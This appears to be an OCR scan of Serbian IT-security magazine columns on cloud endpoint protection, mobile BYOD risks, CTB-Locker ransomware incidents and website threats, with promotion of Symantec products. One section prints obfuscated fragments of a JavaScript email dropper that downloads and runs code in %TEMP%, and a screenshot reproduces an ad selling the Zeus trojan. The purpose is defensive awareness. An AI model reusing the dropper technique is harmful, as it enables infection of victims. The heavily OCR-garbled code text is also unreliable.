licenci koliko vam je potrebno, a dau
bilo kom trenutku, u zavisnosti od pote-
ba, bez ograni¢enja povecate ili smanjite
broj licenci.

Pored kasi¢nog cloud sistema, gde se
ve¢ina komponenti nalazi kod provaj-
dera usluga, postoje i hibridna resenja,
gde se deo sistema nalazi na ra¢unari-
ma kod korisnika, a deo kod provajdera
cloud usluga. Tako je moguce ostvariti i
zagtitu radnih stanica, stonih i prenosi-
vih ra¢unara i servera u cloudu. Rese-
nje Symantec Endpoint Protection Small
Business Edition (SEP SMB) zasniva se
na centralnom upravljanju koje se nalazi
u cloudu, dok se agenti nalaze na va§im
racunarima i serverima pruZzajuci zastitu
od virusa i ostalog zlonamernog softvera.
Dakle, Symantec vam nudi moguénost da
pocnete sa onpremise opcijom i kad bude
pravo vreme za vas, predete na cloud u
toku pretplatnog perioda, bez dodatnih
troskova. Ovim re$enjem mozete uprav-
ljati samostalno ili to prepustite sertifiko-
vanom partneru koji ¢e definisati pravila
prema vasim potrebama.

IT KLINIKA
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NOVE RANJIVE

TACKE
SISTEMA |

obilni uredaji su postali nesto bez

¢ega ne mozemo, kako u poslu,

tako ni privatno, i doveli su do
toga da se izgubi jasna linija izmedu radnog
vremena i ,privatnog’, jer su omogucili
da zavr§avamo posao sa bilo kog mesta, u
bilo kom trenutku, od kuce ili dok smo u
pokretu. Zbog toga neretko koristimo priva-
tne mobline uredaje u poslovne svrhe, ali i
obrnuto, poslovne uredaje u privatne svrhe.

Ali... kori$¢enje mobilniih uredaja u

poslovne svrhe (i poslovnih u privatne)
otvorilo je nove ranjive tacke u ve¢ ranjivoj
bezbednosti sistema i podataka.

KOLIKO SU (NE)BEZBEDNE
APLIKACIJE?

Prema procenama kompanije Gartner, koja
se bavi istrazivanjem u oblasti IT-a, ¢ak
75% svih preuzetih mobilnih aplikacija za
Android, i0S 1 Windows, pada na osnov-
nim sigurnosnim testovima.

Preuzimanje aplikacije postalo je tre¢a
omiljena aktivnost korisnika mobilnih ure-
daja, odmah posle Facebook-a i YouTube-a.
Prosecan korisnik ima vise od 40 aplikaci-
jana smartfonu ili tabletu, ¢esto na istom
uredaju aplikacije i za posao i za zabavu.
One se preuzimaju bez mnogo razmisljanja
o bezbednosti i bez znanja kojim podacima
i funkcijama aplikacija pristupa.

Ne ¢udi onda to $to su aplikacije
postale jedan od glavnih uzroka curenja
korporativnih podataka. Curenje moze biti
slu¢ajno, kada bezopasna aplikacija $alje
licne podatke korisnika putem Interneta i
tako ostavlja otvorena vrata hakerima, ali i
namerno. Mnoge aplikacije nose trojance
koji u pozadini izvr§avaju zlonamerni kod,
prate vase ponasanje i kretanje, sakuplja-
ju podatke, menjaju podesavanje uredaja,
presrecu poruke i pozive i omogucavaju
sajber kriminalcima da sakupe dovoljno
podataka kako bi ciljano napadali kompa-
nije i kompromitovali podatke.
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KAKO POVECATI
BEZBEDNOST?

Dok je kori$¢enje pametnih mobilnih
uredaja bilo jo$ u povoju, organizacije su
uspevale da se izbore sa izazovima ,,mo-
bilnosti“ tako $to su kontrolisale uredaje.
Medutim, kako su pametni telefoni i tableti
postali popularniji, sve vi$e ljudi pocelo je
da koristi svoje sopstvene uredaje u poslov-
ne svrhe. Postalo je jasno da je nemoguce
kontrolisati sve te uredaje i da fokus mora
da se pomeri sa zastite uredaja na zastitu
podataka koji se na njima nalaze.

Kontrola i upravljanje uredajima danas
je samo jedan od aspekata zastite od rizika
koji su povezani sa ,,mobilno$¢u®. Uprav-
ljanje mobilnim uredajima (MDM) jeste
vazno, ali ne i dovoljno, jer ne re$ava pro-
blem kori§éenja aplikacija i podataka.

Da bi mogle da postignu maksimum
zagtite i maksimum produktivnosti, orga-
nizacije moraju da:

odnosno da imaju kontrolu i uvid u kori-
$¢enje uredaja
to jest da kontroli$u aplikacije i podatke
koje aplikacije ¢uvaju

, §to
znadi da treba da kontroli$u pristup va-
znim podacima koji se nalaze na share-
point-u, file share-u i sli¢cnim lokacijama.

Naravno, iz prakti¢nih razloga za orga-
nizacije bi bilo idealno da jedan proizvod
pokriva sve ove nivoe zastite.

JEDNO RESENJE ZA SVE
MOBILNE IZAZOVE

Symantec Mobility: Suite je platforma za
zastitu i upravljanje mobilnim uredajima.
Sastoji se od tri modula - Upravljanje ure-
dajima (MDM), Upravljanje aplikacijama
(MAM) i Zastita od pretnji - koji su inte-

grisani i koriste jednu upravljacku konzolu.
Mobility Suite omogucava da sa jednog
mesta upravljate i uredajima, kontroliSete
pristup mejlu i vaznim podacima, upravlja-
te aplikacijama i zastitite sistem i podatke
od malvera i rizi¢nih aplikacija.

omogucava kontrolu
i uvid u kori$¢enje uredaja. Za MDM je
izuzetno vazno da podrzava vise platfor-
mi - Android, i0S, Windows, jer su uredaji
koje koriste zaposleni raznovrsni. Pomocu
MDM mozete da zakljucate, odnosno is-
kljucite uredaj ako je ukraden ili izgubljen,
da konfiguriSete sistem ili $aljete aZuriranja
svim uredajima za sa centralne lokacije,
zabranite nekim uredajima (na primer
root-ovanim i jailbreak-ovanim uredajima)
da se povezu na korporativou mrezu.

omogucava primenu pravila (po-
lisa) na individualne aplikacije, tako da
ne morate da kontroliSete same uredaje.
Takode, ovaj modul nudi i App Wrapping,
mogucnost dodavanja sloja zastite za kor-
porativne aplikacije, koji mogu da dodaju
administratori iz admin konzole. Za svaku
aplikaciju ovim postupkom administrato-
ri mogu da defini$u pravila/polise, kao $to
su nacin autentifikacije, zabrane deljenja
odredenih informacija i enkripcija.

§titi
mobilni operativni sistem i fajl sistem od
tradicionalnih virusa i malvera, ali i od
novih pretnji kao $to su rizi¢ne aplikacije
koje kradu podatke ili aplikacije koje trose
bateriju i usporavaju rad uredaja. U ovom
modulu postoji App Advisor koji upozora-
va korisnike na aplikacije koje lose uti¢u na
performanse, ili nose rizik curenja podata-
ka. Korisnik onda lako moze da ukloni ta-
kve aplikacije. Postoji i savetnik za Google
App Store, koji pre preuzimanja automatski
proverava da li su aplikacije bezbedne.

SUOéAVé«NJE SA BYOD
REALNOSCU

Mobilnost je postala previse rasiren trend
da bismo mogli da je ignorisemo. Koliko
god da se organizacije odupiru konceptu
BYOD, zaposleni ¢e naci nacin da koris-

te privatne mobline uredaje u poslovne
svrhe i dovodice u opasnost korporativne
podatke. Sa dobro pripremljenom strategi-
jom mobilne bezbednosti i izborom pravih
proizvoda za zaétitu, i ovaj izazov moze da
se prevazide. Veca produktivnost zapo-
slenih moze da se postigne bez Zrtvovanja
bezbednosti.
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HO

ilj ove price nije stvaranje panike.

Zelimo da vam skrenemo paznju i

upozorimo vas na opasnost, kako
biste mogli da se zatitite.

Verovatno ste ¢uli pri¢u o ransom
malware-u (ransomware), ucenjivackom
malicioznom softveru koji kriptuje fajlove
na hard-disku i onda ucenjuje Zrtvu - plati
ili se pozdravi sa fajlovima zauvek.

Culi ste mozda i za neke Zrtve, na pri-
mer neke policijske stanice u Americi, ili za
stariji bra¢ni par, takode iz Amerike, koji
je platio gotovo 3000 dolara ucenjiva¢ima.
Zrtava je bilo i na drugom kraju sveta. U
Kini, na primer, najnovije mete bile su Na-
rodna banka Kine i Banka Isto¢ne Azije.

Ali Kina i Amerika su daleko i ove
price vas ne plase mnogo. Ne plasi vas ni
podatak da je broj ransom malvera poras-
tao 500% u odnosu na proslu godinu, jer to
su samo brojke. Medutim, sledece istinite
price iz Srbije ¢e vas, ako ne uplasiti, onda
bar naterati na razmisljanje i oprez.

Sredinom januara dosli smo do infor-
macija da je pocela jo$ jedna Zestoka spam
kampanja kojom se $iri novi ransomware
pod imenom CTB-Locker. Istrazili smo o
kakvoj pretnji je re¢ i koje se mere zasti-
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te preporucuju, kako prepoznati mamac i
poslali nasim pretplatnicima na biltene (za
pretplatu posetite: www.netpp.rs/pretplata)
uputstva kako prepoznati ovakve pretnje i
koje mere zastite treba preduzeti.

Prve nama poznate Zrtve pojavile su
se u roku od nekoliko dana. Jedna od ti-
pi¢nih bila je i sekretarica direktora firme
koja je dobila e-mail u kome je pisalo da
se u prilogu nalazi faktura. Ba$ ono na §ta
smo i upozorili, ali kako ta sekretarica nije
bila na na$oj e-mailing listi, niti je neko iz
firme prosledio upozorenje, jednim klikom
je uspela da zarazi svoj ra¢unar. Kako je
CTB-Locker mudro napisan malver, ni$ta
se nije desilo odmah... tek nakon nekoliko
dana, sekretarica je primetila da ne moze
da otvori pojedine dokumente na ra¢una-
ru, a onda se pojavilo i zlokobno crveno
upozorenje: plati da ti vratimo fajlove koje
je CTB-Locker kriptovao!

Na licu mesta smo nasli virus, o¢isti-
li racunar (Symantec Endpoint Protection
alatima), utvrdili o kom crypto locker-u se
radi, ali na Zalost, spasa dokumentima nije
bilo. Za taj tip crypto locker-a nisu postojali
alati, niti generatori klju¢eva za dekriptova-
nje fajlova. Jedina nada je bio bekap fajlova,

ali ni tu situacija nije bila bolja - iz onoga
$to su mislili da je bekap (polu ru¢ni),
izvucen je samo deo dokumenata, ostatak
je bio izgubljen zauvek! Sre¢om, malver je
zavr$io samo na jednom racunaru, a gubi-
tak fajlova nije bio tako veliki i nenadokna-
div. S druge strane, shvatili su da nisu svi
antivirusi isti, a nakon nekoliko sastanaka i
da je bekap obavezan za sve vazne podatke
firme, ma gde se oni nalazili - na serverima
ili na radnim stanicama, kao i da je cena
dobrog resenja za bekap zapravo niza od
cene i vrednosti samih podataka koje svaka
firma danas ima u elektronskom obliku!

Nakon jo$ dva sli¢na slucaja, posla-

li smo novi mail, upozorili da je pretnja
stvarna i da se de$ava i u Srbiji. Napravili
smo detaljnije objasnjenje i spisak IP adre-
sa koje treba blokirati (za koje smo u tom
trenutku znali da sadrZe malver).

Nakon nekoliko dana, pojavio se novi
slucaj. IT administrator. Nije na$ korisnik
u pitanju, zovu nas po preporuci. Coveku
koji zove u glasu se ¢uju panika i o¢aj, kaze:

,Nadam se da mozete da nam po-
mognete, zakacili smo virus, svi fajlo-
vi na serveru su nam zakljucani. Traze
nam bitcoin-e za otkupninu®.



Mi mu kazemo da je verovatno u pita-
nju neki od locker-a - tzv. ransomware i da
se nadamo da imaju bekap. Tisina sa druge
strane Zice.

,,Bekap? Kakve veze ima bekap sa
virusom?*,

Objasnimo mu o ¢emu je re¢ i pitamo
koliko su im vazni ti fajlovi, poto bekap
nemaju. Covek uzdie i kaze:

,Najvazniji. To je ceo nas$ posao.
Sve §to je cela firma radila u ovoj
i prethodnoj godini. Mislili smo da
imamo podatke na sigurnom, imamo
RAIDS (redudantne diskove - prim.
aut.) na serveru. Da li ée nam otklju-
cati fajlove ako im platimo?“

Na zalost, to niko ne moze da garantuje.

Sta je naravoucenije ove price?

Ako koristite Internet — i vi ste meta!

Niko nije bezbedan. Ransomware pre-
tnje, kao $to su CryptoLocker, KeyHolder i
CTB Locker, pogadaju sve, od pojedinaca
do velikih firmi.

Upoznaj neprijatelja da bi ga pobedio.

Sta je karakteristika ove grupe malve-
ra? Kao §to se moze naslutiti iz naziva, ovaj
malver pokusava da od vas iznudi novac
(ransom), tako $to kao taoce drzZi vase va-
zne podatke.

Kako dolazi u posed vasih podataka?
Malver se najéesce §iri kroz spam. Zrtva
primi e-mail sa nepoznate adrese ili na
prvi pogled poznate (a zapravo je lazna) u
kome je link ili attachment, za koji pise da
je faktura ili faks, glasovna poruka i sli¢no.
Otvaranjem fajla pokrece se preuzimanje
drugog kriptovanog fajla, koji je zapravo
sam malver koji dalje kriptuje podatke na
vaSem racunaru.

Zakljucane, kriptovane fajlove je nemo-
guce otkljucati na silu, a neki ransomware-i
vas ¢ak upozoravaju da ¢e vam, ako to
pokusate, fajlovi biti izbrisani. Za neke sre-
¢om postoje alati za dekripciju sa generato-
rima kljuceva, ali za neke nema spasal!

Autori ransomware-a najc¢e$ce traze da
im otkupninu platite u bitcoin-ima ili dola-
rima i daju vam rok do kog morate da pla-
tite otkupninu ili ¢e vam unistiti podatke.

Resenje ne postoji! Postoji samo pre-
ventiva. Samog malvera moZete da se
resite, ali da vratite podatke ako nemate
backup neéete modi.

STA NE TREBA RADITI?

Opéti savet je da se otkupnina ne placa!
Pla¢anje otkupnine mozda deluje kao

jedino resenje, ali na taj na¢in samo pod-

sticete napadace i finansirate ih. Dodatni

razlog da ne placate je taj $to ne postoje
garancije da ¢e vam otkljucati fajlove kad
platite. De$avalo se i da ljudi ili preduzeca
plate otkupninu, dobiju svoje fajlove, samo
da bi kasnije bili ponovo napadnuti i da bi
im trazili jo§ viSe para.

Ako ne platite odmah, ucenjivaci posle
odredenog roka podizu sumu, tako da ot-
kupnina moze da dostigne i sumu od deset
hiljada dolara!

STA SE PREPORUCUJE DA
URADITE?
o Skinite zarazeni sistem sa mreze i
uklonite pretnju. Sistem mora $to pre da se
odvoji od mreZe da se pretnja ne bi $irila.
o Vratite fajlove sa bekapa za koji znate
da je dobar i da nije zarazen. To je najbrzi i
najsigurniji nac¢in da dodete do podataka.
Dali je moguce do¢i do fajlova bez pla-
¢anja otkupnine i bez vra¢anja sa bekapa
Najverovatnije nije moguce. Bilo je slu-
¢ajeva, kod nekih od ranijih varijanti ovih
pretnji, da napadaci samo sakriju fajlove,
ostave kopije originalnih fajlova (ili se do
njih moze do¢i preko Volume Shadow Copy
Service-a ako je kojom sre¢om bio uklju-
¢en) ili da ostave kopije privatnih kljuceva
u lokalu, u memoriji ra¢unara. Svakako
istrazite o kojoj varijanti pretnje se radi,
mozda postoji reSenje, mada nemojte da se
nadate previse, jer su autori malvera jako
azurni i trude se da otklone sve ,nedostat-
ke® starijih verzija.

KAKO SE ZASTITITI OD OVIH
RANSOMWARE-A?

1. Redovno aZurirajte operativni sis-
tem i softver za zastitu. Razmislite
za$to su neka reSenja za zatitu besplatna, a
neka se placaju!
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2. Ne otvarajte attachment-e od ne-
poznatih posiljalaca, pa ¢ak ni od
poznatih ako vam taj e-mail deluje i
najmanje sumnjivo. Ako ste u firmi,
potrudite se da organizujete obuku ili
barem napravite obavestenje za korisnike
o tome kako da prepoznaju spam/phish-
ing poruke i zasto je vazno da se u takvim
porukama ne klikée na linkove i ne otva-
raju prilozi.

3. Redovno pravite bekap vaznih po-
dataka i drzite ih na mestu, storage-u
koji nije direktno povezan sa svim kori-
snicima. Cuvajte i organizujte pravljenje
kopija bekapa.

4. Razmislite i o cuvanju podataka u
cloud-u. Preduzecéima preporucujemo
da se pobrinu i za sledece:

5. Ako ste ulozili novac u dobro rese-
nje za zastitu, pobrinite se da je ono
pravilno konfigurisano, da se sve funkci-
je primenjuju i da neko taj sistem stalno
nadgleda.

6. Koristite dobar firewall nove gene-
racije (ne, klasic¢an firewall vam nede
pomodi)

7. Obezbedite dobro antispam rese-
nje (da, mislimo da postoje razlozi
za$to neka antispam resenja kostaju vise, a
narocito za$to nisu besplatna)

8. Organizujte sistem upozorenja za
zaposlene, obuke za osnove sigurnos-
ti i podizanje svesti o bezbednosti na Inter-
netu (angazujte pomo¢, ako ne mozete ili
ne znate sami).

9. Uvedite bekap podataka i za radne
stanice i laptop racunare (hteli ili ne,
nikada svi vazni podaci nece biti na serve-
rima, uvek ¢e se nadi i na po nekom racu-
naru). Bekap servera i podataka sa servera
vec imate, zar ne?

IT KLINIKA
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ANALIZA TIPICNOG
NN’ 1231 VIRUSA

rypto locker i druge vrste viru-
saitrojanaca poslednjih nedelja
stizu e-mailom u velikom broju.
Na Zalost, deo korisnika, nepazljivo otvara
priloge ovakvih poruka i pokrece ih, ¢ime
inficira svoj ra¢unar, a ¢esto i mrezne dis-
kove.
Kako bismo pomogli administratorima

Ve¢ na prvi pogled je jasno da je pra-
vi JavaScript kod sakriven (obfuscated).
Upravo ovo ,,skrivanje“ otezava posao kla-
si¢nim antivirusima u pronalaZenju koda
koji je zapravo virus. Pazljivim ¢itanjem
(ili kori$¢enjem funkcije search) potrazi-
¢emo funkciju eval() koja zapravo izvr§ava
ovako sakriven JavaScript kod:

u borbi sa ovim nac¢inom infekcije, ana-
liziramo tipi¢an primer JavaScript virusa
koji potencijalno moze da inficira racunare
Crypto locker-om.

Poruka koju primite moze da izgleda

1, 8, Bxbn, 0672, 071,
R R B -

mar, Bl Dl
i ALY b R R

{ return JwbhalE[InAb :
dn:lﬁiﬂuﬂmfﬂwwiwrﬁﬂhﬂ 21 nuiﬂ‘ikn[uﬂ:r

Your aceouni has a cobt and ks past due
P husee! O
L H
e [5]="3a" 5[~’H I="a2° 150 [r]="12" ;5 [0] [8]="46" ;5[] |
T A BORCT AR -...u::::,------ ‘s 11EYe e sl (1A st sl (1] = 20" 151
————— a5t ATal2 '.11:— 145021 [Iral=t 16! s 5121 [275] =" 1m" 16 02

Cedr LaRomes
D bty ghwy thst i socount Bae i et of S50, [rand[10.99]1). Previous
e faled . . . v T
Da bismo videli $ta se krije iza fun-
kcije eval(), zameni¢emo je funkcijom

alert(), koja ¢e samo da prikaze kod

Dicar Do wous i iy atichvd B with the forrmatiion on your caee.

ovako: umesto da ga izvrsi:

U prilogu poruke se vidi .zip fajl koji
kada otvorite u sebi sadrzi obi¢an JavaS- M=y 07y "5 727 "y £ N7,
cript fajl:

=f1Du.toString(QHfLsvvL); re
(SFApwOz){alert (pKQyzj fwYaELll
1sJE[JInAbGkjo [dkpfy(lojcxKshl
\fwfmpPOKPBDVmntwqrCkMb) ) &&

a invoice_copy_BiKxwR.js
I SCAN_INVOICE_07853858.zip

Ako pogledate sadrzaj ovog fajla u bilo
kom editoru teksta, videcete JavaScript:

|JnAkaj0=laxﬁ,ﬂxﬁ,@xb.@leﬁxlB,@)(la 9122 0x26,0x2c,Bx2e,0x34,0x38,0x3e,0x42, Ox4E
JthSJE=['2','4', |(|, IDI,'4', |S| |K| z' lcl I ',IX', IQIrIA'rIpIrlIIII] ','D',Iklj
function a(lehQGOthIa,UKadIuEmLNkcsT]{IthOGOthIa.push(UKadIuEmUNkcsT):}
function dkpfy(vBYbmKNpjVM, XRLAywOOmEMar, QHfLsvvL ) {fIDu=TDFcYpzVOhRvmUCcAG( vBYbmKNh
function sFwDgEOikuaAREy(pKQyzjfwYaElkgSTy,DkghCpfMa0IskbTIHSKpkhoAEECPCKxbLO,NZx
function pzaRnUVFVQsHdCeSIVRAxTbVgLRlcixzgjkrHWyphFwjgqlOtZeQoec(lojcxKshUPQwY, jgd
function gjbMefl{wdQtAWSadUuDOAfwfmpPOKPBDVmntwqrCKMb) {return !KoWFYClOLkp(ZtyCF
function KoWFYCLlOLkp(yakDoxKFRgrhlq) {return isMaN(yaKDoxKFRgrhIg);}

9 function nuXMBenEoKcr({mJPgdHVwtXHdu) {return isFinite(mJPgdHVwtXHdu);}

10 function TDFcYpzVOhRvmUCAG(FUWLATFNEq,XZ5zCnPYQb) {return parseInt(FUWLdTFNEQ,XZ<
11 function ZtyCFSjrEsemSFc{sZoELQRHRvgkIhzrYBd) {return parseFloat(sZoELQRHRvgkIhzr
12 function I{oWIfSuRdbvwiFV,pjibbiciwjiuj,uMdSjfbpv¥n) {oWIfSuRdbvviFVIpjibbiciwjit
13 var 5 = new Array();5[0]=[1;5[0]1[@]="d"';S[@][1]="'a"';S[@][2]="d"';S[0][3]="a';S[0]|
14 S[1]=[1;s[11[126]1="21";5[11[127]="1n";S[1][128]="'3h";S[1][129]="'2n"';S[1]1[138]="31
15 sl2]=[1;512]1[267]="14";5[2]1[268]="3n";5[2] [269]="48";5(2] [278]="2qg"';S[2] [271]="14
16 S[3]1=[1;s[3] [379]="21";S[3][380]="2k"';S[3] [381]="16";S[3] [3B2]="1f";S[3][383]="1c
17 S[4l=[1;S[4][5208]1="'3d"';S[4]1[521]="42"';S[4] [522]="14"';S[4] [523]="31";S[4] [524]="25
18 S5[51=[1;5[5] [644]="'3d"';S[5]1[645]="44"';S[5] [646]="45";5[5] [647]1="43";S[5][648]="14
19 var ehgLe=[5[0],S[1], 5[2] s(31,5[41, 5[5]]

20 var GOzKaGwXf=[];

21 function muCQLNAhrUINreAgW(ehgle){wKleyGLLNYI= '';MKQyXKedZni=Math.round((Math.pc
22 var KxZVDHrpdSHPiofZcHfjIHKLygVMENBD = 'QWgZfKdhpySYMBDeDvfDtthUaPdvctczDAAM' ;ve

[=<JNE N B = I I FURN N R
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Da bismo videli $ta se krije iza ovako
sakrivenog koda, izvr$i¢emo ovaj JavaS-
cript. Nemojte pokretati JavaScript na
svom racunaru, mozete da iskoristite neki
od online servisa koji ¢e izvréiti JavaScript i
prikazati rezultat:

Freen “httpec|Hicdle, jehell nat":

Y = R S B T
sty om0 e 7 T apst )

W D =4
wuuuﬁwmwwmm NE"WEr T

a3 ns«.-n;: CroatedtisctimaDg

o B2 = "KTTMPRIL

Wit XTD = I8 ExpandlrvironmsntSirngakiy
o = TV

Wi AMA = kxft = "TTP;

v = frow | Tk = MDD

v [ = Wicriph CrnataOtect LT "NUL" [ T804,
anaay

o WSS = Whcript CresteObjoceiieK +

LS pRT2A, v 1l

Wit Wi = Oovat ¥ = et B RO0 = S0

-

Dobijeni kod je zapravo Windows
Script kod koji izvrsavanjem preuzima
zlonamerni kod sa Interneta u folder
%TEMP% i pokrece ga. Ovako preuzeti
kod moze biti trojanac, crypto locker ili ne-
ki drugi oblik pretnji/virusa.

Pored osnovnog koraka - da se korisni-
ci nauc¢e da ne otvaraju ovakve e-mailove,
niti da klik¢u na priloge u njima, admi-
nistratori mogu dodatno da se obezbede
spreCavanjem izvr$avanja WSH-a (Win-
dows Script Host) u Windows-u, kreiranjem
jednog od sledeca dva Registry kljuca:

HKEY_CURRENT_USERSoftwareMi-

crosoftwindows Script HostSet-

tingsEnabled

HKEY_LOCAL_MACHINESoftwareMi-

crosoftwindows Script HostSet-

tingsEnabled

i dodeljivanjem vrednosti 0 (REG_
DWORD).

Kada korisnik pokrene Window Script
dobice poruku:

windows Script Host access

is disabled on this machine.

contact your administrator for

details.

Na Zalost, ova mera ¢e onemoguditi i
mnoge druge programe koji koriste VBS-
criptili JScript i ne preporucujemo je, osim
u krajnjoj nuzdi!
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OPASNIH PO ZDRAVLJE
VASEG WEB SAJTA

eb sajt je virtalni izlog, portfo-

lio, deo brenda i nezamenljiv

marketingki alat modernog
preduzeca. Mnogo truda, novca i vreme-
na ulaZe se u pravljenje sajta, a isto toliko
resursa u privlacenje posetilaca i opti-
mizaciju za browser-e, jer sajt koji nema
posete moZemo proglasiti mrtvim. Kada
jednom dovedemo posetioce na sajt, po-
zeljno je da ih na sajtu i zadrzimo, da ih
uverimo da su na pravom mestu i da im
damo povoda da ponovo posete nas sajt.
Osim lepog dizajna i kvalitetnog sadrzaja,
za posetioca sajta je vazno da se oseca be-
zbedno. Ako je na nasem sajtu ,,pokupio
viruse®, verovatno se vi$e nece vratiti. Ako
se od njega trazi da ostavi licne podatke,
posetilac Zeli da bude siguran da ¢e podaci
biti zasticeni i da nece biti zloupotrebljeni.
Zato bi bezbednost sajta i izgradnja pove-
renja kod posetilaca trebalo da budu srz
online marketingke strategije, zajedno sa
dizajnom, hostingom i SEO.

Ipak, ¢ini se da se ne obraca dovoljno

paznje na pitanje bezbednosti sajta, a za-

nemarivanje ovog pitanja moze imati lose
posledice po reputaciju firme, $to se sva-
kako moze odraziti na ukupno poslovanje.
Tako, na sajtovima velikog broja domac¢ih
online $opova, osim izjave da se proda-

vac ,,obavezuje na privatnost vasih licnih
podataka koji ¢e biti kori$¢eni iskljuc¢ivo

u svrhe kupovine na nasem Web sajtu®, ne
mozemo naci garancije da je sajt bezbedan.
Zato se posetioci sajta nerado registruju, ne
dovrsavaju kupovinu, a jo§ manje placaju
kreditnim karticama. Kako do bezbednog
sajta i kako da uverimo posetioce da su
bezbedni? Za pocetak, tako $to ¢emo izbeci
$est najce$¢ih zamki koje mogu dovesti do
toga da nas sajt ostane sam i napusten u
bespuc¢u zvanom Internet.

WEBSITE MALWARE

Serveri na kojima se nalaze sajtovi mogu
biti meta napada, bas kao i va§ PC. Kom-
promitovanje legitimnih sajtova i korisce-
nje tih sajtova za $irenje malvera je taktika
koja postaje sve popularnija medu online
kriminalcima.

Najgore od svega je to $to vlasnici sajto-
va ¢esto i ne znaju da je njihov sajt kom-
promitovan sve dok sajt ne dospe na crne
liste koje prave pretrazivaci ili dok korisni-
ci ne po¢nu da se Zale da su na njihovom
sajtu pokupili viruse.

Danas se gotov malver kupuje na crnom
trzistu, tako da zlonamernik ne mora da bu-
de hakerski genije da bi naudio vasem sajtu.

Zeus 2.0.8.9 Full Selup Service

Wel im feeling good and all so I figured id sell o few copees off zous

1. Full setup 1
- Zeus 2.0.8.9 Bin with all inchadad [ VNC + FTP GRABBER

+ SOCKSS + POP3 )
10 standard webinjects
- test nstalls - 100 world wide
= FUD / erypt your .exe
- WINC usage tutorial for first users
Pnca @ 100
Blackhals Explot Laane or Rantal
Custom Webinjacts 20$/each

Payment: Liberty Reserve oaly

PM Me here or 1CQ #
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Sajber kriminalci obi¢no koriste alate i
skripte, koji se lako mogu naci na Interne-
tu, pomocu kojih pronalaze slabe tacke i
ranjiva mesta na sajtu i iskori¢avaju ih za
$§irenje malvera. Na primer alat LizaMoon
koristio je tehniku SQL injection i na taj na-
¢in inficirao milione sajtova. Druge tehnike
$§irenja malvera koriste ranjivosti sistema za
upravljanje sadrzajem, softvera za Website
hosting, ili operativnog sistema servera.

« Pobrinite se da je softver servera na
kom se vas sajt nalazi aktuelan i da ima sve
najnovije zakrpe i bezbednosna azuriranja.
« Kontrolisite pristup klju¢nim siste-
mima i koristite jake lozinke ili dvofaktor-
sku autentifikaciju.

+« Obezbedite svakodnevno skeniranje
sajta antimalverom i procenu slabosti. To
moZete posti¢i pomocu nekih SSL sertifi-
kata, kao $to su Symantec Secure Site Pro,
Secure Site EV, i Secure Site Pro EV.

MALWARETISING
MALWARE + ADVERTISING

Kriminalci se ¢esto infiltriraju na legitimne
sajtove na kojima postoji prostor za rekla-
me, gde postavljaju banere, oglase i sli¢no.

Podmuklost ovih napada ogleda se u
tome $to vlasnici sajtova ¢esto ne mogu da
kontroli$u koje reklame ¢e se pojaviti na
njihovom sajtu ili odakle dolaze, a prili-
kom obi¢nog skeniranje sajta, reklama koja
sadrzi malver ne mora biti otkrivena jer se
mozda u tom trenutku ne prikazuje. Kri-
minalci mogu da zakupe reklamno mesto
koriste¢i reklamne mreze, ili ¢ak da hakuju
postojece reklame i zaraze ih.

Sama poseta sajtu na kome postoji
ovakav zarazeni oglas je rizik; ljudi ¢ak ne
moraju ni da kliknu na reklamu kako bi
aktivirali nezZeljenu akciju. Bez dobre anti-
malver zastite na svom racunaru, posetilac
se izlaze riziku pritajene infekcije. Ako pak
otkrije infekciju, vrlo je verovatno da ¢e
pomisliti da je sajt sa kog su pokupili taj
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malver opasan i imace loije misljenje o
kompaniji koja stoji iza tog sajta.

o Koristite proverene mreze oglasavanja.
« Tamo gde je to moguce, ogranicite
oglasiva¢ima moguénost kori$¢enja koda
(npr. koristite staticke slike ili obi¢an tekst).

CRNE LISTE

Pretrazivaci poput Google-a i Bing-a skeni-
raju sajtove traze¢i malver i ako ga nadu na
va$em sajtu, sajt ¢e dospeti na crnu listu. To
znadi da sajt vise nece izlaziti u rezultatima
pretrage, na njega nece stizati saobracaj sa
pretrazivaca, a u zavisnosti od browser-a,
moZe se prikazivati upozorenje o infekciji
pre nego $to posetilac ode na vas sajt, cak i
ako direktno unese adresu.

Crne liste imaju poguban uticaj na po-
secenost sajta i na reputaciju vaseg brenda,
bez obzira na to $to ste puno ulozili u op-
timizaciju sajta za pretrazivace (SEO). Cak
i kad otklonite problem, moze pro¢i dosta
vremena dok pretrazivaéi ponovo uvrste
vas$ sajt u listu pretrage.

Drugi razlog za stavljanje vaseg sajta na
crnu listu moze biti nepo$tovanje smerni-
ca koje pretrazivaci daju. Google objavljuje
korisne smernice o dobrim i lo§im prime-
rima iz prakse, uklju¢ujuci detalje o pona-
$anju zbog kog ¢ete dospeti na crnu listu.

Google je objavio da dnevno blokira
6.000 sajtova. Cak i zvu¢na imena poput
TechCrunch i New York Times nasli su se
na crnoj listi jer je otkriveno da prikazuju
(nenamerno) zarazene oglase.

» Zastitite sajt od malwaretising-a i
malera.

« lIzbegavajte sumnjive SEO tehnike.

+ Koristite Google-ove i Bing-ove alate
za webmastere, i primacete e-mail upozo-
renja ako se va$ sajt nade na crnoj listi.

UPOZORENJA | ISTEKLI
SERTIFIKATI

Zamislite da ste vi korisnik i da ste spremni
da kupite nesto, ali taman §to ste krenuli da
kliknete na dugme ,,kupi®, vas browser vas
upozori da je SSL sertifikat sajta istekao.
Sanse da cete nastaviti i zavrstiti transak-
ciju su sada prili¢no male. Sigurno ¢ete
dobro razmisliti da li ¢ete ponovo do¢i na
taj sajt. Sli¢no, ako koristite SSL sertifika-
te da zastitite online aplikacije i servise, a
sertifikati isteknu, poverenje korisnika u

vas$ servis ¢e strmoglavo opasti. Kompanije
sa vise sertifikata i servera suocavaju se sa
ozbiljnim izazovima upravljanja njima. Ko
je odgovoran za kupovinu i obnovu sertifi-
kata? Kako se vodi evidencija? Kako osigu-
rati da se sertifikati obnavljaju na vreme?
Centralizovano upravljanje sertifikati-
ma nije samo dobra praksa nego i neopho-
dnost ako Zelite da izbegnete isticanje serti-
fikata ili obnovu u poslednjem trenutku.

o Obavite proveru sertifikata u celoj
organizaciji, tako da znate koje sertifikate
imate, ko vam je snabdeva¢ i kada isti¢u.

o Konsolidujte sertifikate i upravljajte
sertifikatima sa jednog mesta.

« Napravite podsetnike kako vam se
ne bi desilo da zaboravite da obnovite ser-
tifikate.

(PHISHING)!
Sajber kriminalci koriste dobro poznata
imena i brendove kako bi naveli ljude da im
ostave poverljive informacije ili da instali-
raju malver. Cesto prave lazne Web sajtove
koji izgledaju isto kao legitimni, i na taj
nacin uspevaju da zavaraju ljude. Najpozna-
tiji primer ove vrste napada, poznatih kao
phishing, jeste kori$¢enje laZnog sajta banke
